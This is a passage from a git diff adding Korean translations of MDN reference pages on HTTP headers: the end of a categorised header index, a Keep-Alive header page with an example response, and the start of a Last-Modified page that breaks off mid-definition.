px(예, 이미지의 실제 크기) 단위의 원하는 리소스 width를 나타내는 숫자입니다. 제공된 물리적 px 값은 정수로 반올림된 숫자입니다(예, 올림 값).</p> + </div> + + <div id="rfc.section.3.2.p.2"> + <p>원하는 리소스 width를 요청 시점에 알 수 없거나 리소스가 표출 width를 갖지 않을 경우, <code>Width</code> 헤더 필드는 생략될 수 있습니다. 하나 이상의 메시지에서 <code>Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p> + </div> + </dd> +</dl> + +<h2 id="조건부">조건부</h2> + +<dl> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>동일한 리소스의 여러 버전을 비교하는데 사용되는 검사기로, 리소스의 마지막 수정 날짜입니다. {{HTTPHeader("ETag")}}보다 덜 정확하지만, 어떤 환경에서는 계산이 더 쉽습니다. {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Unmodified-Since")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>리소스의 버전을 식별하는 고유한 문자열 검사기입니다. {{HTTPHeader("If-Match")}}와 {{HTTPHeader("If-None-Match")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>저장된 리소스가 주어진 ETags의 하나와 일치하는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>저장된 리소스가 주어진 ETags 모두와 일치하지 않는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다. 캐시(안전 연결용)를 업데이트하거나 이미 존재하는 리소스를 다시 업로드하는 것을 방지하기위해 사용됩니다.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>주어진 날짜 이후에 수정된 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 캐시가 만료되었을 때에만 데이터를 전송하는데 사용됩니다.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>주어진 날짜 이후에 수정되지 않은 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 이는 특정 범위의 새로운 프래그먼트와 이전의 것과의 일관성을 보장하거나, 존재하는 다큐먼트를 수정할 때에 낙관적인 제어 시스템을 구현하는데 사용됩니다.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>오리진 서버로부터 새로운 요청을하는 대신 캐시된 응답을 사용할지를 결정하기위한 향후의 요청 헤더를 매칭할 방법을 정합니다.</dd> +</dl> + +<h2 id="연결_관리">연결 관리</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>현재 트랜잭션이 끝난후에 네트워크 연결을 열린 상태로 둘지 여부를 제어합니다.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>지속적인 연결이 열린 상태로 유지할 기간을 제어합니다.</dd> +</dl> + +<h2 id="컨텐츠_협상"><a href="/ko/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>돌려줄 데이터 타입에 대해 서버에 알립니다. MIME 타입입니다.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>클라이언트가 이해할 수 있는 문자 집합에 대해 서버에 알립니다.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>인코딩 알고리즘에 대해 서버에 알립니다. 보통은 돌려줄 리소스에 사용되는 압축 알고리즘입니다.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>서버가 돌려주기로 예상된 언어에 대해 서버에 알립니다. 이는 힌트이며 사용자의 모든 제어 아래에서는 필수가 아닙니다: 서버는 명시적인 사용자 선택을 덮어쓰지 않도록 항상 집중해야합니다(드롭 다운 리스트에서 언어를 선택하는 것처럼).</dd> +</dl> + +<h2 id="제어">제어</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>요청을 적절히 처리하기위해 서버에서 수행되어야하는 기대치를 나타냅니다.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="쿠키">쿠키</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>{{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버로부터 이전에 전송됐던 저장된 <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 포함합니다. </dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>서버에서 유저 에이전트로 쿠키를 전송합니다.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>{{HTTPHeader("Set-Cookie2")}}와 함께 서버에 의해 이전에 전송된 HTTP 쿠키를 포함하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Cookie")}}를 사용하세요.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>서버에서 유저 에이전트로 쿠키를 전송하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Set-Cookie")}}를 사용하세요.</dd> +</dl> + +<h2 id="CORS">CORS</h2> + +<p><em><a href="CORS">여기</a>에서 CORS에 대해 더 알아보세요.</em></p> + +<dl> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>응답이 공유될 수 있는지를 나타냅니다.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>credentials 플래그가 true일 때 요청에 대한 응답이 노출될 수 있는지를 나타냅니다.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>실제 요청을 만들 때 사용될 수 있는 HTTP 헤더를 나타내는 preflight 요청에 대한 응답으로 사용됩니다.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>preflight 요청에 대한 응답으로 리소스에 접근할 때 허용되는 메소드를 명시합니다.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>헤더의 이름을 나열하여 어떤 헤더가 응답의 일부로 노출될 수 있는지를 나타냅니다.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>preflight 요청의 결과가 캐시되는 기간을 나타냅니다.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>실제 요청이 있을 때 사용될 HTTP 헤더를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>실제 요청이 있을 때 사용될 <a href="/ko/docs/Web/HTTP/Methods">HTTP 메소드</a>를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>페치가 시작된 위치를 나타냅니다.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd><a href="/ko/docs/Web/API/Resource_Timing_API">Resource Timing API</a>의 기능을 통해 반환되는 속성을 확인할 수 있게해주는 오리진을 명시합니다. 교차-오리진 제한으로인해 0으로 기록될 수도 있습니다.</dd> + <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt> + <dd>교차-도메인 정책 파일(XML)이 허용되었는지를 명시합니다. 해당 파일은 Adobe Flash Player 또는 Adobe Acrobat(예, PDF)과 같은 웹 클라이언트가 도메인을 넘어 데이터를 다룰 수 있도록 허용하는 정책을 정의할수도 있습니다.</dd> +</dl> + +<h2 id="추적_안함">추적 안함</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>사용자의 추적 설정을 나타내는데 사용됩니다.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>해당하는 요청에 적용되는 추적 상태를 나타냅니다.</dd> +</dl> + +<h2 id="다운로드">다운로드</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>전송된 리소스가 한 줄로 표시되어야하거나(헤더가 존재하지 않을 때는 기본 동작), 다운로드처럼 처리되어야 하고 브라우저가 '다른 이름으로 저장' 창을 표시해야할 때에 대한 응답 헤더입니다.</dd> +</dl> + +<h2 id="메시지_바디_정보">메시지 바디 정보</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>수신자에게 전송된 엔티티 바디의 크기를 10진수 바이트 단위로 나타냅니다.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>리소스의 미디어 타입을 나타냅니다.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>압축 알고리즘을 명시하는데 사용됩니다.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>사용자를 위한 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게해줍니다.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>반환된 데이터를 위한 대체 위치를 나타냅니다.</dd> +</dl> + +<h2 id="프록시">프록시</h2> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>프록시가 요청의 경로에 포함될 때 변경되거나 손실되는 프록시 서버의 클라이언트 측면에 대한 정보를 포함합니다.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>HTTP 프록시나 로드 밸런서를 통해 웹 서버로 연결하는 클라이언트의 시작 IP 주소를 확인합니다.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용하도록 요청됐던 원본 호스트를 확인합니다.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용했던 프로토콜(HTTP 또는 HTTPS)을 확인합니다.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>정방향 및 역방향 프록시에 모두에 의해 추가되며, 요청 헤더와 응답 헤더에서 나타날 수 있습니다.</dd> +</dl> + +<h2 id="리다이렉트">리다이렉트</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>페이지를 리다이렉트할 URL을 나타냅니다.</dd> +</dl> + +<h2 id="요청_컨텍스트">요청 컨텍스트</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>요청하는 유저 에이전트를 제어하는 사용자(사람)의 인터넷 이메일 주소를 포함합니다.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>서버(가상 호스팅용)의 도메인명과 (선택적으로) 서버가 리스닝중인 TCP 포트 번호를 명시합니다.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>현재 페이지로 연결되는 링크가 있던 이전 웹 페이지의 주소입니다.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>생성된 요청이 {{HTTPHeader("Referer")}} 헤더에서 전송된 referrer 정보에 포함되어야하는지를 관리합니다.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>네트워크 프로토콜 피어가 요청하는 사용자 에이전트의 애플리케이션 타입, 운영 체제, 소프트웨어 벤더 또는 소프트웨어 버전을 식별할 수 있는 특성 문자열을 포함합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 유저 에이전트 문자열 레퍼런스</a> 문서도 참고하세요.</dd> +</dl> + +<h2 id="응답_컨텍스트">응답 컨텍스트</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>리소스에 의해 지원되는 HTTP 요청 메소드를 나열합니다.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>요청을 처리하기 위해 오리진 서버에 의해 사용되는 소프트웨어에 대한 정보를 포함합니다.</dd> +</dl> + +<h2 id="범위_요청">범위 요청</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>서버가 범위 요청을 지원하는지를 나타내며, 지원할 경우 범위가 표현될 수 있는 단위를 나타냅니다.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>서버가 반환해야하는 문서의 부분을 나타냅니다.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>주어진 etag 또는 날짜가 원격 리소스와 일치할 경우에만 수행되는 조건적 범위 요청을 생성합니다. 호환되지 않는 범전의 리소스에서 두 가지 범위의 다운로드를 방지하기위해 사용됩니다.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>전체 바디 메시지 중 특정 메시지가 포함된 위치를 나타냅니다.</dd> +</dl> + +<h2 id="보안">보안</h2> + +<dl> + <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}}</dt> + <dd>이 헤더가 적용된 리소스의 응답을 다른 도메인이 읽는 것을 방지합니다.</dd> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>주어진 페이지에 대해 유저 에이전트가 로드할 수 있는 리소스를 제어합니다.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>웹 개발자가 정책을 강제로 적용하지 않고도 그 효과를 실험해볼 수 있게 해줍니다. 이러한 위반 보고서는 HTTP <code>POST</code> 요청을 통해 지정된 URL로 전송된 {{Glossary("JSON")}} 문서로 구성됩니다.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>사이트가 잘못 발급된 인증서의 사용이 눈에 띄지 않게 넘어가는것을 방지해주는 인증서 투명성(Certificate Transparency) 요구 보고 및/또는 시행을 옵트인할 수 있게 해줍니다. 사이트가 Expect-CT 헤더를 사용할 때, 사이트는 공개 CT 로그에 나타난 사이트에 대한 모든 인증서를 Chrome이 확인하도록 요청합니다.</dd> + <dt>{{HTTPHeader("Feature-Policy")}}</dt> + <dd>소유한 프레임 및 내장된 iframe에서 브라우저 기능의 사용을 허용 및 거부하기위한 메커니즘을 제공합니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>위조된 인증서를 사용한 {{Glossary("MITM")}} 공격의 위험을 줄이기 위해 특정 웹 서버에 특정 암호화 공개 키를 연결합니다.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>헤더에 지정된 report-uri로 보고를 전송하고 피닝을 위반하더라도 클라이언트가 서버에 접속하는 것을 계속 허용합니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>HTTP 대신 HTTPS를 사용하여 통신하도록 강제합니다.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>암호화된 응답과 인증된 응답에 대한 클라이언트의 설정을 나타내는 신호를 서버에 전송하며, {{CSP("upgrade-insecure-requests")}} 지시자를 성공적으로 처리할 수 있습니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>MIME 스니핑을 비활성화하고 브라우저가 {{HTTPHeader("Content-Type")}}에 주어진 타입을 사용하도록 강제합니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Download-Options")}}</dt> + <dd>브라우저(인터넷 익스플로러)가 파일을 통한 피싱 공격을 방지하기 위해 애플리케이션으로부터 다운로드된 파일에 "열기" 옵션을 표시하면 안되는지 여부를 나타냅니다. 피싱 공격을 방지하지 못할 경우 파일을 애플리케이션의 컨텍스트에서 실행할 권한을 얻게됩니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>브라우저가 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 또는 {{HTMLElement("object")}}에서 페이지 렌더링을 허용해야하는지를 나타냅니다.</dd> + <dt>{{HTTPHeader("X-Powered-By")}}</dt> + <dd>호스팅 환경이나 다른 프레임워크에 의해 설정 될 수 있으며, 그들에 대한 정보를 포함하지만 애플리케이션이나 방문자에게 유용하지는 않습니다. 잠재적인 취약점 노출을 피하려면 이 헤더를 해제하세요.</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>교차-사이트 스크립팅 필터링을 활성화합니다.</dd> + <dt> </dt> +</dl> + +<h2 id="서버가_전송한_이벤트">서버가 전송한 이벤트</h2> + +<dl> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt> + <dd>개발자가 네트워크 에러 보고 정책을 선언할 수 있게하는 메커니즘을 정의합니다.</dd> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Report-To")}}</dt> + <dd>브라우저가 경고 및 에러 보고를 전송하기 위한 서버 엔드포인트를 지정하는데 사용됩니다.</dd> +</dl> + +<h2 id="전송_코딩">전송 코딩</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>사용자에게 엔티티를 안전하게 전송하기위해 사용할 인코딩 형식을 지정합니다.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>유저 에이전트가 수락하기로한 전송 인코딩을 지정합니다.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>전송자가 청크 분할된 메시지의 끝에 부가적인 필드를 포함할 수 있게 해줍니다.</dd> +</dl> + +<h2 id="웹소켓">웹소켓</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="그_외">그 외</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt> + <dd>클라이언트는 요청에 <code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.1">Accept-Push-Policy</a></code> 헤더 필드를 전송하여 요청에 대해 희망하는 푸시 정책을 나타낼 수 있습니다.</dd> + <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt> + <dd>클라이언트는 <code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.7">Accept-Signature</a></code> 헤더 필드를 전송하여 지원하는 서명의 종류와 사용 가능한 모든 서명을 이용할 의도를 나타낼 수 있습니다.</dd> + <dt>{{HTTPHeader("Alt-Svc")}}</dt> + <dd>이 서비스에 도달할 수 있는 대안을 나열하는데 사용됩니다.</dd> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>메시지가 발생한 날짜와 시간을 포함합니다.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>로드되고 있는 페이지가 대규모 할당 작업을 원할 것이라고 브라우저에게 알립니다.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd><code><a href="https://tools.ietf.org/html/rfc5988#section-5">Link</a></code> 엔티티 헤더 필드는 HTTP 헤더내의 하나 이상의 링크를 직렬화하기위한 수단을 제공합니다. HTML {{HTMLElement("link")}} 엘리먼트와 의미상으로 동일합니다.</dd> + <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt> + <dd><code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.2">Push-Policy</a></code>는 요청을 처리할 때 푸시에 관련된 서버의 동작을 정의합니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>유저 에이전트가 다음 요청을 생성하기전에 얼마나 기다려야하는지를 나타냅니다.</dd> + <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt> + <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.1">Signature</a></code> 헤더 필드는 교환을 위한 서명의 리스트를 전달하며, 각 서명은 권한을 판별하고 새로고치는 방법에 대한 정보를 수반합니다.</dd> + <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt> + <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.5.1.2">Signed-Headers</a></code> 헤더 필드는 서명에서 포함할 응답 헤더 필드의 정렬된 리스트를 식별합니다.</dd> + <dt>{{HTTPHeader("Server-Timing")}}</dt> + <dd>주어진 요청-응답 주기에 대한 하나 이상의 메트릭 및 설명을 전달합니다.</dd> + <dt>{{HTTPHeader("SourceMap")}}</dt> + <dd>생성된 코드를 <a href="/ko/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>에 링크합니다.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd><a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade 헤더 필드</a>에 관련된 RFC 문서는 RFC 7230, section 6.7입니다. 이 표준은 현재 클라이언트, 서버, 전송 프로토콜 연결에서 다른 프로토콜로 업그레이드 또는 변경하기위한 규칙을 정하였습니다. 예를 들면, 이 헤더 표준은 서버가 Upgrade 헤더 필드를 인식하고 구현하도록 결정했다고 가정하여 클라이언트가 HTTP 1.1에서 HTTP 2.0으로 변경하는것을 허용합니다. 어떠한 집단에서도 Upgrade 헤더 필드에서 명시된 용어를 수락할 필요는 없습니다. 이는 클라이언트 및 서버 헤더 모두에서 사용될 수 있습니다. Upgrade 헤더 필드가 명시되었을 경우, 전송자는 반드시 업그레이드 옵션을 지정한 Connection 헤더 필드도 전송해야합니다. Connection 헤더 필드에 대한 자세한 내용은 <a href="https://tools.ietf.org/html/rfc7230#section-6.1">앞서 언급한 RFC의 section 6.1</a>을 확인하시기 바랍니다..</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>브라우저가 이미지, CSS, JavaScript 등을 포함하여 문서에 의해 참조된 항목을 위한 URL뿐만 아니라 사용자가 따르길 선택한 링크 모두에서 사전에 수행할 도메인 네임 확인을 수행하는 기능인 <span style="font-size: 1rem; letter-spacing: -0.00278rem;">DNS 프리페칭을 제어합니다.</span></dd> + <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Robots-Tag")}}{{non-standard_inline}}</dt> + <dd>공개 검색 엔진 결과에서 웹 페이지가 인덱싱되는 방식을 나타내기 위해 사용됩니다. 이 헤더는 사실상 <code><meta name="robots" content="..."></code>와 동일합니다.</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt> + <dd>Internet Explorer에게 사용할 문서 모드를 알리는데 사용됩니다.</dd> +</dl> + +<h2 id="기여">기여</h2> + +<p><a href="/ko/docs/MDN/Contribute/Howto/Document_an_HTTP_header">새로운 항목을 작성</a>하거나 존재하는 항목을 향상하여 도움을 주실 수 있습니다.</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> + <li><a href="https://httpwg.org/specs/">HTTP Working Group</a></li> +</ul> diff --git a/files/ko/web/http/headers/keep-alive/index.html b/files/ko/web/http/headers/keep-alive/index.html new file mode 100644 index 0000000000..5635cc6ce9 --- /dev/null +++ b/files/ko/web/http/headers/keep-alive/index.html @@ -0,0 +1,88 @@ +--- +title: Keep-Alive +slug: Web/HTTP/Headers/Keep-Alive +translation_of: Web/HTTP/Headers/Keep-Alive +--- +<div>{{HTTPSidebar}}{{Non-standard_header}}</div> + +<p><code><strong>Keep-Alive</strong></code> 일반 헤더는 송신자가 연결에 대한 타임아웃과 요청 최대 개수를 어떻게 정했는지에 대해 알려줍니다.</p> + +<div class="note"> +<p>{{HTTPHeader("Connection")}} 헤더는 이 헤더를 위해 어떤 의미든 갖도록 "keep-alive"로 설정되어야 합니다. 또한, {{HTTPHeader("Connection")}}과 {{HTTPHeader("Keep-Alive")}}는 HTTP/2에서 무시됩니다; 연결 관리는 해당 프로토콜 내에서 다른 메커니즘에 의해 처리됩니다.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Keep-Alive: <em>parameters</em></pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><em>파라메터</em></dt> + <dd>쉼표로 구분된 파라메터 목록으로, 각각 등호('=')로 구분되는 식별자와 값으로 구성됩니다. 다음은 사용 가능한 식별자들입니다: + <ul> + <li><code>timeout</code>: 유휴 연결이 계속 열려 있어야 하는 <em>최소한의</em> 시간(초 단위)을 가르킵니다. keep-alive TCP 메시지가 전송 계층에 설정되지 않는다면 TCP 타임아웃 이상의 타임아웃은 무시된다는 것을 알아두시기 바랍니다.</li> + <li><code>max</code>: 연결이 닫히기 이전에 전송될 수 있는 최대 요청 수를 가리킵니다. 만약 <code>0</code>이 아니라면, 해당 값은 다음 응답 내에서 다른 요청이 전송될 것이므로 비-파이프라인 연결의 경우 무시됩니다. HTTP 파이프라인은 파이프라이닝을 제한하는 용도로 해당 값을 사용할 수 있습니다.</li> + </ul> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<p>Keep-Alive 헤더를 포함하는 응답:</p> + +<pre>HTTP/1.1 200 OK +<strong>Connection: Keep-Alive</strong> +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Thu, 11 Aug 2016 15:23:13 GMT +<strong>Keep-Alive: timeout=5, max=1000</strong> +Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT +Server: Apache + +(body)</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td> + <td>The Keep-Alive Header (Experimental specification)</td> + </tr> + <tr> + <td>{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li> +</ul> diff --git a/files/ko/web/http/headers/last-modified/index.html b/files/ko/web/http/headers/last-modified/index.html new file mode 100644 index 0000000000..88f1da62bd --- /dev/null +++ b/files/ko/web/http/headers/last-modified/index.html @@ -0,0 +1,92 @@ +--- +title: Last-Modified +slug: Web/HTTP/Headers/Last-Modified +tags: + - HTTP + - HTTP 헤더 + - 응답 헤더 + - 참고자료 +translation_of: Web/HTTP/Headers/Last-Modified +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Last-Modified</strong></code> 응답은 HTTP 헤더에 서버가 알고있는 가장 마지막 수정된 날짜와 시각을 담고 있습니다. 이는 저장된 리소스가 이전과 같은지 유효성 검사자로 사용됩니다. {{HTTPHeader("ETag")}} 헤더보다는 덜 정확하지만, 이는 대비책으로 사용됩니다. 조건 요청은 {{HTTPHeader("If-Modified-Since")}} 또는 {{HTTPHeader("If-Unmodified-Since")}} 헤더로 이와 같은 필드를 사용하여 만들어집니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>예</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><day-name></dt> + <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd> + <dt><day></dt> + <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd> + <dt><year></dt> + <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd> + <dt><hour></dt> + <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd> + <dt><minute></dt> + <dd>2 숫자의 분, 예: "04" 또는 "59.</dd> + <dt><second></dt> + <dd>2 숫자의 초, 예: "04" 또는 "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>그리니치 표준시. HTTP 날짜는 현지 시각이 